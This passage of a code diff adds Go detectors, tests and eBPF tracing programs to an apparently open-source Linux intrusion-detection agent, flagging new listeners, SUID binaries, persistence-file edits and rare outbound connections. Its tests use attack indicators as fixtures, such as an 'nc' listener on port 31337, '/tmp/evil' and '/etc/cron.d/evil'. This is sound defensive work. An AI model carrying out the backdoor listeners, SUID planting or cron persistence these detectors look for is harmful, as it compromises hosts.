correlate merely because they share init. +func LineageOf(pids []int, parentOf func(int) int, depth int) map[int]bool { + seen := make(map[int]bool) + for _, start := range pids { + current := start + steps := 0 + for current != 0 && current != 1 && steps <= depth { + if seen[current] { + break + } + seen[current] = true + current = parentOf(current) + steps++ + } + } + return seen +} + +type IndexIncident struct { + ID string `json:"id"` + Host string `json:"host"` + LastTimestamp float64 `json:"last_ts"` + Lineage []int `json:"lineage"` +} + +// Assign returns the most recently active incident compatible with this host +// and lineage. Empty-lineage evidence may join any open incident on the host, +// reproducing Python's fallback for FIM/package evidence without a live PID. +func Assign(index []IndexIncident, lineage map[int]bool, when float64, host string, window int) string { + best := "" + bestTimestamp := -1.0 + for _, incident := range index { + if incident.Host != host || when-incident.LastTimestamp > float64(window) { + continue + } + if len(lineage) > 0 && !intersects(incident.Lineage, lineage) { + continue + } + if incident.LastTimestamp > bestTimestamp { + best, bestTimestamp = incident.ID, incident.LastTimestamp + } + } + return best +} + +func MaxSeverity(left, right string) string { + if severityRank(left) >= severityRank(right) { + return left + } + return right +} + +func severityRank(value string) int { + switch value { + case "MEDIUM": + return 1 + case "HIGH": + return 2 + case "CRITICAL": + return 3 + default: + return 0 + } +} + +func intersects(values []int, wanted map[int]bool) bool { + for _, value := range values { + if wanted[value] { + return true + } + } + return false +} diff --git a/go-agent/internal/detectors/first_seen.go b/go-agent/internal/detectors/first_seen.go new file mode 100644 index 0000000..21c915f --- /dev/null +++ b/go-agent/internal/detectors/first_seen.go @@ -0,0 +1,95 @@ +// SPDX-License-Identifier: GPL-3.0-or-later + +package detectors + +import ( + "fmt" + "sort" + "strconv" + + "codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/config" + "codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/model" + "codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/netutil" +) + +// FirstSeen ports the Python first_seen detector (SIDs 100074 and 100075). +// Baseline state is injected for now; durable local storage belongs to a later +// sidecar persistence tranche. +func FirstSeen(state model.State, cfg config.Config) []model.Alert { + if !cfg.Enabled("first_seen") || + state.FirstSeenPublicDestinations == nil || + state.FirstSeenListenerPorts == nil { + return []model.Alert{} + } + alerts := make([]model.Alert, 0) + for _, socket := range state.Sockets { + comm := socket.Comm + if comm == "" { + comm = "?" + } + if socket.State == "ESTAB" { + host, port := netutil.SplitHostPort(socket.Peer) + target := host + ":" + port + if netutil.IsPublicIP(host) && port != "" && + !contains(state.FirstSeenPublicDestinations[comm], target) { + // Record before considering whether to alert. The first armed pass + // learns silently, and duplicate sockets in one sweep must not emit + // duplicate rarity alerts. + state.FirstSeenPublicDestinations[comm] = append( + state.FirstSeenPublicDestinations[comm], target) + sort.Strings(state.FirstSeenPublicDestinations[comm]) + if state.FirstSeenInitialized { + alerts = append(alerts, model.Alert{ + SID: 100074, Severity: "MEDIUM", + Signature: "first_public_destination", Classtype: "network-rarity", + Key: "firstdest:" + comm + ":" + target, + Detail: fmt.Sprintf("comm=%s first public destination %s", comm, target), + PIDs: alertPIDs(socket.PID), + }) + } + } + } + if (socket.State == "LISTEN" || socket.State == "UNCONN") && + (socket.Kind == "tcp" || socket.Kind == "udp" || socket.Kind == "") { + _, port := netutil.SplitHostPort(socket.Local) + if port != "" && port != "0" && isDigits(port) && + !contains(state.FirstSeenListenerPorts[comm], port) { + state.FirstSeenListenerPorts[comm] = append( + state.FirstSeenListenerPorts[comm], port) + sort.Slice(state.FirstSeenListenerPorts[comm], func(i, j int) bool { + left, _ := strconv.Atoi(state.FirstSeenListenerPorts[comm][i]) + right, _ := strconv.Atoi(state.FirstSeenListenerPorts[comm][j]) + return left < right + }) + if state.FirstSeenInitialized { + alerts = append(alerts, model.Alert{ + SID: 100075, Severity: "MEDIUM", + Signature: "first_listener_port", Classtype: "network-rarity", + Key: "firstlisten:" + comm + ":" + port, + Detail: fmt.Sprintf("comm=%s first listening port %s", comm, port), + PIDs: alertPIDs(socket.PID), + }) + } + } + } + } + return alerts +} + +func contains(values []string, wanted string) bool { + for _, value := range values { + if value == wanted { + return true + } + } + return false +} + +func isDigits(value string) bool { + for _, char := range value { + if char < '0' || char > '9' { + return false + } + } + return true +} diff --git a/go-agent/internal/detectors/first_seen_test.go b/go-agent/internal/detectors/first_seen_test.go new file mode 100644 index 0000000..cbc689b --- /dev/null +++ b/go-agent/internal/detectors/first_seen_test.go @@ -0,0 +1,45 @@ +// SPDX-License-Identifier: GPL-3.0-or-later + +package detectors + +import ( + "testing" + + "codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/config" + "codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/model" +) + +func TestFirstSeenAlertsNewDestinationAndListener(t *testing.T) { + pid := 42 + cfg := config.Default() + alerts := FirstSeen(model.State{ + FirstSeenInitialized: true, + FirstSeenPublicDestinations: map[string][]string{"bash": {"1.1.1.1:443"}}, + FirstSeenListenerPorts: map[string][]string{"nc": {"22"}}, + Sockets: []model.Socket{ + {State: "ESTAB", Peer: "8.8.8.8:4443", Comm: "bash", PID: &pid}, + {State: "LISTEN", Local: "0.0.0.0:31337", Comm: "nc", PID: &pid, Kind: "tcp"}, + }, + }, cfg) + if len(alerts) != 2 || alerts[0].SID != 100074 || alerts[1].SID != 100075 { + t.Fatalf("got %#v", alerts) + } +} + +func TestFirstSeenUninitializedIsSilent(t *testing.T) { + cfg := config.Default() + state := model.State{ + FirstSeenPublicDestinations: map[string][]string{}, + FirstSeenListenerPorts: map[string][]string{}, + Sockets: []model.Socket{ + {State: "ESTAB", Peer: "8.8.8.8:443", Comm: "bash"}, + {State: "ESTAB", Peer: "8.8.8.8:443", Comm: "bash"}, + }, + } + if alerts := FirstSeen(state, cfg); len(alerts) != 0 { + t.Fatalf("got %#v", alerts) + } + if got := state.FirstSeenPublicDestinations["bash"]; len(got) != 1 || got[0] != "8.8.8.8:443" { + t.Fatalf("silent learning did not update state once: %#v", got) + } +} diff --git a/go-agent/internal/detectors/new_listener.go b/go-agent/internal/detectors/new_listener.go new file mode 100644 index 0000000..2682173 --- /dev/null +++ b/go-agent/internal/detectors/new_listener.go @@ -0,0 +1,69 @@ +// SPDX-License-Identifier: GPL-3.0-or-later + +package detectors + +import ( + "fmt" + "strings" + + "codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/config" + "codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/model" + "codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/provenance" +) + +// isPackageOwned is injectable so tests never shell out to a package manager. +var isPackageOwned = provenance.IsPackageOwned + +// NewListener ports the Python new_listener detector (SID 100013). +// A nil baseline is represented by an empty fixture field and remains fail-open. +func NewListener(state model.State, cfg config.Config) []model.Alert { + if state.ListenerBaseline == nil { + return []model.Alert{} + } + baseline := make(map[string]bool, len(state.ListenerBaseline)) + for _, key := range state.ListenerBaseline { + baseline[key] = true + } + processExe := make(map[int]string, len(state.Processes)) + for _, process := range state.Processes { + processExe[process.PID] = process.Exe + } + alerts := make([]model.Alert, 0) + for _, socket := range state.Sockets { + if socket.State != "LISTEN" { + continue + } + // Python uses rpartition(":"): the port is everything after the last + // colon, or the whole endpoint when no colon exists. Splitting at the + // first colon would corrupt bracketed IPv6 locals such as "[::]:31337". + port := socket.Local + if index := strings.LastIndex(socket.Local, ":"); index >= 0 { + port = socket.Local[index+1:] + } + comm := socket.Comm + if comm == "" { + comm = "?" + } + key := port + "/" + comm + if baseline[key] || cfg.ListenerAllowPorts[port] || cfg.ListenerAllowComms[comm] { + continue + } + // Optional provenance gate, mirroring Python: a listener whose binary + // ships with an installed package is very likely legitimate. + if cfg.SuppressPackageOwnedListeners && socket.PID != nil { + if exe := processExe[*socket.PID]; exe != "" && isPackageOwned(exe) { + continue + } + } + alerts = append(alerts, model.Alert{ + SID: 100013, + Severity: "HIGH", + Signature: "new_listener", + Classtype: "backdoor-listener", + Key: "lis:" + key, + Detail: fmt.Sprintf("new listening socket %s by comm=%s", socket.Local, comm), + PIDs: alertPIDs(socket.PID), + }) + } + return alerts +} diff --git a/go-agent/internal/detectors/new_listener_test.go b/go-agent/internal/detectors/new_listener_test.go new file mode 100644 index 0000000..2b125e4 --- /dev/null +++ b/go-agent/internal/detectors/new_listener_test.go @@ -0,0 +1,91 @@ +// SPDX-License-Identifier: GPL-3.0-or-later + +package detectors + +import ( + "testing" + + "codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/config" + "codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/model" +) + +func TestNewListenerAlertsUnbaselinedListener(t *testing.T) { + pid := 500 + alerts := NewListener(model.State{ + Sockets: []model.Socket{{ + State: "LISTEN", Local: "0.0.0.0:31337", Comm: "nc", PID: &pid, + }}, + ListenerBaseline: []string{}, + }, config.Default()) + if len(alerts) != 1 { + t.Fatalf("got %#v", alerts) + } + if alerts[0].SID != 100013 || alerts[0].Key != "lis:31337/nc" { + t.Fatalf("unexpected alert: %#v", alerts[0]) + } +} + +func TestNewListenerSkipsBaselineAndAllowLists(t *testing.T) { + pid := 501 + cfg := config.Default() + cfg.ListenerAllowPorts["8080"] = true + cfg.ListenerAllowComms["sshd"] = true + state := model.State{ + Sockets: []model.Socket{ + {State: "LISTEN", Local: "0.0.0.0:22", Comm: "sshd", PID: &pid}, + {State: "LISTEN", Local: "0.0.0.0:8080", Comm: "server", PID: &pid}, + {State: "LISTEN", Local: "0.0.0.0:31337", Comm: "nc", PID: &pid}, + }, + ListenerBaseline: []string{"31337/nc"}, + } + if alerts := NewListener(state, cfg); len(alerts) != 0 { + t.Fatalf("got %#v", alerts) + } +} + +func TestNewListenerWithoutBaselineIsSilent(t *testing.T) { + state := model.State{Sockets: []model.Socket{{ + State: "LISTEN", Local: "0.0.0.0:31337", Comm: "nc", + }}} + if alerts := NewListener(state, config.Default()); len(alerts) != 0 { + t.Fatalf("got %#v", alerts) + } +} + +func TestNewListenerIPv6PortUsesLastColon(t *testing.T) { + pid := 502 + alerts := NewListener(model.State{ + Sockets: []model.Socket{{ + State: "LISTEN", Local: "[::]:31337", Comm: "nc", PID: &pid, + }}, + ListenerBaseline: []string{}, + }, config.Default()) + if len(alerts) != 1 || alerts[0].Key != "lis:31337/nc" { + t.Fatalf("got %#v", alerts) + } +} + +func TestNewListenerPackageOwnedSuppression(t *testing.T) { + saved := isPackageOwned + defer func() { isPackageOwned = saved }() + isPackageOwned = func(path string) bool { return path == "/usr/bin/qbittorrent" } + + pid := 503 + cfg := config.Default() + cfg.SuppressPackageOwnedListeners = true + state := model.State{ + Processes: []model.Process{{PID: pid, Exe: "/usr/bin/qbittorrent"}}, + Sockets: []model.Socket{{ + State: "LISTEN", Local: "0.0.0.0:6881", Comm: "qbittorrent", PID: &pid, + }}, + ListenerBaseline: []string{}, + } + if alerts := NewListener(state, cfg); len(alerts) != 0 { + t.Fatalf("got %#v", alerts) + } + // The gate only applies when explicitly enabled. + cfg.SuppressPackageOwnedListeners = false + if alerts := NewListener(state, cfg); len(alerts) != 1 { + t.Fatalf("got %#v", alerts) + } +} diff --git a/go-agent/internal/detectors/new_suid.go b/go-agent/internal/detectors/new_suid.go new file mode 100644 index 0000000..090d2aa --- /dev/null +++ b/go-agent/internal/detectors/new_suid.go @@ -0,0 +1,49 @@ +// SPDX-License-Identifier: GPL-3.0-or-later + +package detectors + +import ( + "strings" + + "codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/config" + "codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/model" +) + +// NewSUID ports the Python new_suid detector (SID 100014). +// The filesystem scan and baseline are supplied by the caller; absent values +// remain fail-open until the sidecar gains its own slow-scan persistence. +func NewSUID(state model.State, cfg config.Config) []model.Alert { + if state.SUIDBinaries == nil || state.SUIDBaseline == nil { + return []model.Alert{} + } + baseline := make(map[string]bool, len(state.SUIDBaseline)) + for _, path := range state.SUIDBaseline { + baseline[path] = true + } + alerts := make([]model.Alert, 0) + for _, path := range state.SUIDBinaries { + if baseline[path] { + continue + } + hot := false + for _, directory := range cfg.SUIDHotDirs { + directory = strings.TrimRight(directory, "/") + if directory != "" && strings.HasPrefix(path, directory+"/") { + hot = true + break + } + } + severity := "HIGH" + detail := "new SUID/SGID binary: " + path + if hot { + severity = "CRITICAL" + detail = "SUID/SGID binary in writable dir: " + path + } + alerts = append(alerts, model.Alert{ + SID: 100014, Severity: severity, Signature: "new_suid", + Classtype: "privilege-escalation", Key: "suid:" + path, + Detail: detail, PIDs: []int{}, + }) + } + return alerts +} diff --git a/go-agent/internal/detectors/new_suid_test.go b/go-agent/internal/detectors/new_suid_test.go new file mode 100644 index 0000000..8f6d941 --- /dev/null +++ b/go-agent/internal/detectors/new_suid_test.go @@ -0,0 +1,29 @@ +// SPDX-License-Identifier: GPL-3.0-or-later + +package detectors + +import ( + "testing" + + "codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/config" + "codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/model" +) + +func TestNewSUIDSeverityAndBaseline(t *testing.T) { + alerts := NewSUID(model.State{ + SUIDBinaries: []string{"/tmp/evil", "/usr/local/bin/newtool", "/usr/bin/sudo"}, + SUIDBaseline: []string{"/usr/bin/sudo"}, + }, config.Default()) + if len(alerts) != 2 { + t.Fatalf("got %#v", alerts) + } + if alerts[0].Severity != "CRITICAL" || alerts[1].Severity != "HIGH" { + t.Fatalf("unexpected severities: %#v", alerts) + } +} + +func TestNewSUIDWithoutScanIsSilent(t *testing.T) { + if alerts := NewSUID(model.State{SUIDBaseline: []string{"/usr/bin/sudo"}}, config.Default()); len(alerts) != 0 { + t.Fatalf("got %#v", alerts) + } +} diff --git a/go-agent/internal/detectors/persistence.go b/go-agent/internal/detectors/persistence.go new file mode 100644 index 0000000..57c3c55 --- /dev/null +++ b/go-agent/internal/detectors/persistence.go @@ -0,0 +1,50 @@ +// SPDX-License-Identifier: GPL-3.0-or-later + +package detectors + +import ( + "fmt" + "sort" + "strings" + + "codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/config" + "codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/model" +) + +// Persistence ports the Python persistence detector (SID 100015). +// PersistenceFiles is an injectable path-to-mtime view; live filesystem +// collection remains deferred until the sidecar gains configured slow scans. +func Persistence(state model.State, cfg config.Config) []model.Alert { + if state.PersistSince == nil { + return []model.Alert{} + } + alerts := make([]model.Alert, 0) + paths := make([]string, 0, len(state.PersistenceFiles)) + for path := range state.PersistenceFiles { + paths = append(paths, path) + } + sort.Strings(paths) + for _, path := range paths { + mtime := state.PersistenceFiles[path] + if mtime <= *state.PersistSince || !watchedPath(path, cfg.WatchPersistence) { + continue + } + alerts = append(alerts, model.Alert{ + SID: 100015, Severity: "HIGH", Signature: "persistence", + Classtype: "persistence", Key: "persist:" + path, + Detail: fmt.Sprintf("persistence file modified: %s", path), + PIDs: []int{}, + }) + } + return alerts +} + +func watchedPath(path string, roots []string) bool { + for _, root := range roots { + root = strings.TrimRight(root, "/") + if path == root || (root != "" && strings.HasPrefix(path, root+"/")) { + return true + } + } + return false +} diff --git a/go-agent/internal/detectors/persistence_test.go b/go-agent/internal/detectors/persistence_test.go new file mode 100644 index 0000000..91ec409 --- /dev/null +++ b/go-agent/internal/detectors/persistence_test.go @@ -0,0 +1,33 @@ +// SPDX-License-Identifier: GPL-3.0-or-later + +package detectors + +import ( + "testing" + + "codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/config" + "codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/model" +) + +func TestPersistenceAlertsModifiedWatchedFiles(t *testing.T) { + since := 100.0 + alerts := Persistence(model.State{ + PersistSince: &since, + PersistenceFiles: map[string]float64{ + "/etc/cron.d/evil": 101, + "/tmp/not-watched": 200, + "/etc/passwd": 99, + }, + }, config.Default()) + if len(alerts) != 1 || alerts[0].Key != "persist:/etc/cron.d/evil" { + t.Fatalf("got %#v", alerts) + } +} + +func TestPersistenceWithoutScanIsSilent(t *testing.T) { + if alerts := Persistence(model.State{ + PersistenceFiles: map[string]float64{"/etc/passwd": 200}, + }, config.Default()); len(alerts) != 0 { + t.Fatalf("got %#v", alerts) + } +} diff --git a/go-agent/internal/ebpfsource/bpf/exec.bpf.c b/go-agent/internal/ebpfsource/bpf/exec.bpf.c new file mode 100644 index 0000000..d82ffb3 --- /dev/null +++ b/go-agent/internal/ebpfsource/bpf/exec.bpf.c @@ -0,0 +1,84 @@ +// SPDX-License-Identifier: GPL-3.0-or-later + +#define SEC(name) __attribute__((section(name), used)) +#define __uint(name, value) int (*name)[value] + +typedef unsigned int u32; +typedef unsigned long long u64; + +#define BPF_MAP_TYPE_PERF_EVENT_ARRAY 4 +#define BPF_F_CURRENT_CPU 0xffffffffULL + +struct trace_event_raw_sys_enter { + u64 _common; + long id; + unsigned long args[6]; +}; + +// Minimal CO-RE flavor of task_struct. The loader relocates these two fields +// against the running kernel's BTF, avoiding a generated vmlinux.h dependency. +struct task_struct { + int tgid; + struct task_struct *real_parent; +} __attribute__((preserve_access_index)); + +struct exec_event { + u32 pid; + u32 ppid; + u32 uid; + char parent_comm[16]; + char filename[128]; + char arg1[128]; + char arg2[128]; +}; + +struct { + __uint(type, BPF_MAP_TYPE_PERF_EVENT_ARRAY); + __uint(key_size, sizeof(u32)); + __uint(value_size, sizeof(u32)); +} events SEC(".maps"); + +static u64 (*bpf_get_current_pid_tgid)(void) = (void *)14; +static u64 (*bpf_get_current_uid_gid)(void) = (void *)15; +static long (*bpf_get_current_comm)(void *buf, u32 size) = (void *)16; +static long (*bpf_probe_read_user)(void *dst, u32 size, const void *unsafe_ptr) = (void *)112; +static long (*bpf_probe_read_user_str)(void *dst, u32 size, const void *unsafe_ptr) = (void *)114; +static long (*bpf_probe_read_kernel)(void *dst, u32 size, const void *unsafe_ptr) = (void *)113; +static long (*bpf_perf_event_output)(void *ctx, void *map, u64 flags, + void *data, u64 size) = (void *)25; +static u64 (*bpf_get_current_task)(void) = (void *)35; + +#define bpf_core_read(dst, size, src) \ + bpf_probe_read_kernel((dst), (size), \ + (const void *)__builtin_preserve_access_index(src)) + +SEC("tracepoint/syscalls/sys_enter_execve") +int trace_execve(struct trace_event_raw_sys_enter *ctx) +{ + struct exec_event event = {}; + struct task_struct *task = (struct task_struct *)bpf_get_current_task(); + struct task_struct *parent = 0; + const char *const *argv = (const char *const *)ctx->args[1]; + const char *argument = 0; + + event.pid = bpf_get_current_pid_tgid() >> 32; + event.uid = bpf_get_current_uid_gid(); + bpf_core_read(&parent, sizeof(parent), &task->real_parent); + if (parent) + bpf_core_read(&event.ppid, sizeof(event.ppid), &parent->tgid); + bpf_get_current_comm(event.parent_comm, sizeof(event.parent_comm)); + bpf_probe_read_user_str(event.filename, sizeof(event.filename), + (const void *)ctx->args[0]); + bpf_probe_read_user(&argument, sizeof(argument), &argv[1]); + if (argument) + bpf_probe_read_user_str(event.arg1, sizeof(event.arg1), argument); + argument = 0; + bpf_probe_read_user(&argument, sizeof(argument), &argv[2]); + if (argument) + bpf_probe_read_user_str(event.arg2, sizeof(event.arg2), argument); + + bpf_perf_event_output(ctx, &events, BPF_F_CURRENT_CPU, &event, sizeof(event)); + return 0; +} + +char LICENSE[] SEC("license") = "GPL"; diff --git a/go-agent/internal/ebpfsource/bpf/syscall.bpf.c b/go-agent/internal/ebpfsource/bpf/syscall.bpf.c new file mode 100644 index 0000000..921a669 --- /dev/null +++ b/go-agent/internal/ebpfsource/bpf/syscall.bpf.c @@ -0,0 +1,212 @@ +// SPDX-License-Identifier: GPL-3.0-or-later + +#define SEC(name) __attribute__((section(name), used)) +#define __uint(name, value) int (*name)[value] + +typedef unsigned int u32; +typedef unsigned short u16; +typedef unsigned long long u64; + +#define BPF_MAP_TYPE_HASH 1 +#define BPF_MAP_TYPE_PERF_EVENT_ARRAY 4 +#define BPF_F_CURRENT_CPU 0xffffffffULL + +struct trace_event_raw_sys_enter { + u64 _common; + long id; + unsigned long args[6]; +}; + +struct trace_event_raw_sys_exit { + u64 _common; + long id; + long ret; +}; + +struct task_struct { + int tgid; + struct task_struct *real_parent; +} __attribute__((preserve_access_index)); + +struct syscall_event { + u32 pid; + u32 ppid; + u32 uid; + u32 syscall_id; + char comm[16]; + u64 args[6]; + char text[80]; +}; + +struct { + __uint(type, BPF_MAP_TYPE_HASH); + __uint(key_size, sizeof(u64)); + __uint(value_size, sizeof(u32)); + __uint(max_entries, 64); +} monitored_syscalls SEC(".maps"); + +struct { + __uint(type, BPF_MAP_TYPE_HASH); + __uint(key_size, 16); + __uint(value_size, sizeof(u32)); + __uint(max_entries, 64); +} monitored_host_comms SEC(".maps"); + +struct { + __uint(type, BPF_MAP_TYPE_HASH); + __uint(key_size, sizeof(u64)); + __uint(value_size, sizeof(struct syscall_event)); + __uint(max_entries, 4096); +} pending_returns SEC(".maps"); + +struct { + __uint(type, BPF_MAP_TYPE_PERF_EVENT_ARRAY); + __uint(key_size, sizeof(u32)); + __uint(value_size, sizeof(u32)); +} syscall_events SEC(".maps"); + +static u64 (*bpf_get_current_pid_tgid)(void) = (void *)14; +static u64 (*bpf_get_current_uid_gid)(void) = (void *)15; +static long (*bpf_get_current_comm)(void *buf, u32 size) = (void *)16; +static void *(*bpf_map_lookup_elem)(void *map, const void *key) = (void *)1; +static long (*bpf_map_update_elem)(void *map, const void *key, const void *value, u64 flags) = (void *)2; +static long (*bpf_map_delete_elem)(void *map, const void *key) = (void *)3; +static long (*bpf_probe_read_user_str)(void *dst, u32 size, const void *unsafe_ptr) = (void *)114; +static long (*bpf_probe_read_user)(void *dst, u32 size, const void *unsafe_ptr) = (void *)112; +static long (*bpf_probe_read_kernel)(void *dst, u32 size, const void *unsafe_ptr) = (void *)113; +static long (*bpf_perf_event_output)(void *ctx, void *map, u64 flags, + void *data, u64 size) = (void *)25; +static u64 (*bpf_get_current_task)(void) = (void *)35; + +#define bpf_core_read(dst, size, src) \ + bpf_probe_read_kernel((dst), (size), \ + (const void *)__builtin_preserve_access_index(src)) + +SEC("tracepoint/raw_syscalls/sys_enter") +int trace_sys_enter(struct trace_event_raw_sys_enter *ctx) +{ + u64 syscall_number = ctx->id; + u32 *syscall_id = bpf_map_lookup_elem(&monitored_syscalls, &syscall_number); + struct syscall_event event = {}; + struct task_struct *task; + struct task_struct *parent = 0; + + if (!syscall_id) + return 0; + + task = (struct task_struct *)bpf_get_current_task(); + event.pid = bpf_get_current_pid_tgid() >> 32; + event.uid = bpf_get_current_uid_gid(); + event.syscall_id = *syscall_id; + bpf_core_read(&parent, sizeof(parent), &task->real_parent); + if (parent) + bpf_core_read(&event.ppid, sizeof(event.ppid), &parent->tgid); + bpf_get_current_comm(event.comm, sizeof(event.comm)); + + // Canonical ID 21 covers write/writev/pwrite variants. Keep the hot path + // in-kernel and emit only for process names that can satisfy the + // persistence-write host rule. + if (*syscall_id >= 21 && *syscall_id <= 26 && + !bpf_map_lookup_elem(&monitored_host_comms, event.comm)) + return 0; + + // Match the Python BCC transport's semantic argument layout rather than + // exposing pointer-only raw ABI slots in alert keys and details. + if (*syscall_id == 3) { // memfd_create(name, flags) + event.args[0] = ctx->args[1]; + bpf_probe_read_user_str(event.text, sizeof(event.text), + (const void *)ctx->args[0]); + } else if (*syscall_id == 7 || *syscall_id == 8) { // process_vm_{readv,writev} + event.args[0] = ctx->args[0]; // target pid + event.args[1] = ctx->args[2]; // local iovec count + event.args[2] = ctx->args[4]; // remote iovec count + event.args[3] = ctx->args[5]; // flags + } else if (*syscall_id == 14) { // chmod(path, mode) + event.args[0] = ctx->args[1]; + event.args[2] = (u64)-100; // AT_FDCWD + bpf_probe_read_user_str(event.text, sizeof(event.text), + (const void *)ctx->args[0]); + } else if (*syscall_id == 15) { // fchmodat(dirfd, path, mode) + event.args[0] = ctx->args[2]; + event.args[2] = ctx->args[0]; + bpf_probe_read_user_str(event.text, sizeof(event.text), + (const void *)ctx->args[1]); + } else if (*syscall_id == 16 || *syscall_id == 17) { // chown/lchown(path, uid, gid) + event.args[0] = ctx->args[1]; + event.args[1] = ctx->args[2]; + event.args[2] = (u64)-100; // AT_FDCWD + bpf_probe_read_user_str(event.text, sizeof(event.text), + (const void *)ctx->args[0]); + } else if (*syscall_id == 18) { // fchownat(dirfd, path, uid, gid) + event.args[0] = ctx->args[2]; + event.args[1] = ctx->args[3]; + event.args[2] = ctx->args[0]; + bpf_probe_read_user_str(event.text, sizeof(event.text), + (const void *)ctx->args[1]); + } else if (*syscall_id == 19) { // capset(header, data[2]) + u32 effective_low = 0; + u32 effective_high = 0; + const char *data = (const char *)ctx->args[1]; + bpf_probe_read_user(&effective_low, sizeof(effective_low), data); + bpf_probe_read_user(&effective_high, sizeof(effective_high), data + 12); + event.args[0] = effective_low | ((u64)effective_high << 32); + } else if (*syscall_id == 22 || *syscall_id == 23) { // connect/bind(fd, sockaddr, len) + const char *address = (const char *)ctx->args[1]; + u16 family = 0; + u16 port = 0; + u32 ipv4 = 0; + bpf_probe_read_user(&family, sizeof(family), address); + bpf_probe_read_user(&port, sizeof(port), address + 2); + event.args[0] = family; + event.args[3] = ctx->args[0]; +#if __BYTE_ORDER__ == __ORDER_LITTLE_ENDIAN__ + event.args[1] = __builtin_bswap16(port); +#else + event.args[1] = port; +#endif + if (family == 2) { + bpf_probe_read_user(&ipv4, sizeof(ipv4), address + 4); + event.args[2] = ipv4; + } else if (family == 10) { + bpf_probe_read_user(event.text, 16, address + 8); + } + } else if (*syscall_id >= 24 && *syscall_id <= 26) { // listen/accept/accept4 + event.args[3] = ctx->args[0]; + } else { +#pragma unroll + for (int i = 0; i < 6; i++) + event.args[i] = ctx->args[i]; + } + + if (*syscall_id >= 21 && *syscall_id <= 26) { + u64 pid_tgid = bpf_get_current_pid_tgid(); + bpf_map_update_elem(&pending_returns, &pid_tgid, &event, 0); + return 0; + } + + bpf_perf_event_output(ctx, &syscall_events, BPF_F_CURRENT_CPU, &event, sizeof(event)); + return 0; +} + +SEC("tracepoint/raw_syscalls/sys_exit") +int trace_sys_exit(struct trace_event_raw_sys_exit *ctx) +{ + u64 pid_tgid = bpf_get_current_pid_tgid(); + struct syscall_event *event = bpf_map_lookup_elem(&pending_returns, &pid_tgid); + + if (!event) + return 0; + if (event->syscall_id == 25 || event->syscall_id == 26) + event->args[3] = ctx->ret; + // Every write-family syscall returns its byte count, so the shared + // canonical event is confirmed only when at least one byte was written. + if ((event->syscall_id == 21 && ctx->ret > 0) || + (event->syscall_id >= 22 && event->syscall_id <= 24 && ctx->ret == 0) || + ((event->syscall_id == 25 || event->syscall_id == 26) && ctx->ret >= 0)) + bpf_perf_event_output(ctx, &syscall_events, BPF_F_CURRENT_CPU, + event, sizeof(*event)); + bpf_map_delete_elem(&pending_returns, &pid_tgid); + return 0; +} + +char LICENSE[] SEC("license") = "GPL"; diff --git a/go-agent/internal/ebpfsource/exec.go b/go-agent/internal/ebpfsource/exec.go new file mode 100644 index 0000000..1b463d2 --- /dev/null +++ b/go-agent/internal/ebpfsource/exec.go @@ -0,0 +1,131 @@ +// SPDX-License-Identifier: GPL-3.0-or-later + +package ebpfsource + +import ( + "bytes" + "encoding/binary" + "errors" + "fmt" + "io" + + "github.com/cilium/ebpf/link" + "github.com/cilium/ebpf/perf" + "github.com/cilium/ebpf/rlimit" + + "codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/events" +) + +// ExecSource owns the Go-native exec tracepoint and perf reader. Load errors +// are returned to the caller so startup can log and fall back to polling. +type ExecSource struct { + objects execObjects + link link.Link + reader *perf.Reader +} + +// execEventRaw mirrors struct exec_event in bpf/exec.bpf.c. Keeping the wire +// layout explicit makes changes to the kernel/user-space ABI reviewable. +type execEventRaw struct { + PID uint32 + PPID uint32 + UID uint32 + ParentComm [16]int8 + Filename [128]int8 + Arg1 [128]int8 + Arg2 [128]int8 +} + +// LostSamplesError reports perf-buffer pressure without making it impossible +// for the caller to continue reading later events. +type LostSamplesError struct { + Count uint64 +} + +func (e LostSamplesError) Error() string { + return fmt.Sprintf("exec perf buffer lost %d samples", e.Count) +} + +func OpenExecSource() (*ExecSource, error) { + // Required by older kernels. On newer memcg-accounted kernels this may fail + // in an otherwise capable service sandbox, so attempt the load regardless + // and preserve both errors only when loading also fails. + memlockErr := rlimit.RemoveMemlock() + var objects execObjects + if err := loadExecObjects(&objects, nil); err != nil { + if memlockErr != nil { + return nil, fmt.Errorf("load exec BPF objects: %w (memlock adjustment: %v)", err, memlockErr) + } + return nil, fmt.Errorf("load exec BPF objects: %w", err) + } + attached, err := link.Tracepoint("syscalls", "sys_enter_execve", objects.TraceExecve, nil) + if err != nil { + objects.Close() + return nil, fmt.Errorf("attach exec tracepoint: %w", err) + } + reader, err := perf.NewReader(objects.Events, 64*4096) + if err != nil { + attached.Close() + objects.Close() + return nil, fmt.Errorf("open exec perf reader: %w", err) + } + return &ExecSource{objects: objects, link: attached, reader: reader}, nil +} + +func (s *ExecSource) Read() (events.ExecEvent, error) { + record, err := s.reader.Read() + if err != nil { + return events.ExecEvent{}, err + } + if record.LostSamples != 0 { + return events.ExecEvent{}, LostSamplesError{Count: record.LostSamples} + } + return decodeExecSample(record.RawSample) +} + +func decodeExecSample(sample []byte) (events.ExecEvent, error) { + var raw execEventRaw + if len(sample) != binary.Size(raw) { + return events.ExecEvent{}, fmt.Errorf("exec event size %d, want %d", len(sample), binary.Size(raw)) + } + if err := binary.Read(bytes.NewReader(sample), binary.NativeEndian, &raw); err != nil { + return events.ExecEvent{}, fmt.Errorf("decode exec event: %w", err) + } + argv := make([]string, 0, 2) + if value := cString(raw.Arg1[:]); value != "" { + argv = append(argv, value) + } + if value := cString(raw.Arg2[:]); value != "" { + argv = append(argv, value) + } + return events.ExecEvent{ 